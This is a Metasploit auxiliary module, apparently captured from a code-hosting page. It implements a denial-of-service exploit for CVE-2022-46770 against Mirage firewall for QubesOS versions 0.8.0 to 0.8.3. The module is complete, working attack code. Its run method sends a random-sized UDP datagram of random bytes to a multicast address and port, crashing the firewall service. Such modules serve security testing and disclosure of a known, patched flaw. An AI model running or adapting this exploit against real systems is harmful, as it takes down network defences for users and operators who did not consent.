Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::Remote::Udp
8
  include Msf::Auxiliary::Dos
9

10
  def initialize(info = {})
11
    super(
12
      update_info(
13
        info,
14
        'Name' => 'Mirage firewall for QubesOS 0.8.0-0.8.3 Denial of Service (DoS) Exploit',
15
        'Description' => %q{
16
          This module allows remote attackers to cause a denial of service (DoS)
17
          in Mirage firewall for QubesOS 0.8.0-0.8.3 via a specifically crafted UDP request.
18
        },
19
        'Author' => 'Krzysztof Burghardt <[email protected]>',
20
        'License' => MSF_LICENSE,
21
        'References' => [
22
          [ 'CVE', '2022-46770' ],
23
          [ 'URL', 'https://mirage.io/blog/MSA03' ],
24
          [ 'URL', 'https://github.com/mirage/qubes-mirage-firewall/issues/166' ],
25
        ],
26
        'Notes' => {
27
          'Stability' => [CRASH_SERVICE_DOWN],
28
          'Reliability' => [],
29
          'SideEffects' => [IOC_IN_LOGS]
30
        },
31
        'DisclosureDate' => '2022-12-04'
32
      )
33
    )
34

35
    register_options(
36
      [
37
        OptAddress.new('RHOST', [ false, 'Target address (Default: random)' ]),
38
        OptPort.new('RPORT', [ false, 'Target port (Default: random)' ]),
39
      ]
40
    )
41

42
    deregister_options('RHOSTS')
43
  end
44

45
  def run
46
    rhost = datastore['RHOST'] || [239, 255, Random.new.rand(255), Random.new.rand(255)].join('.')
47
    rport = datastore['RPORT'] || Random.new.rand(65535)
48
    connect_udp(true, 'RHOST' => rhost, 'RPORT' => rport)
49

50
    size = Random.new.rand(336...1472)
51
    pkt = Random.new.bytes(size)
52
    print_status("Sending random datagram of #{size} bytes to #{rhost}:#{rport}...")
53
    udp_sock.put(pkt)
54

55
    disconnect_udp
56
  end
57
end
58

59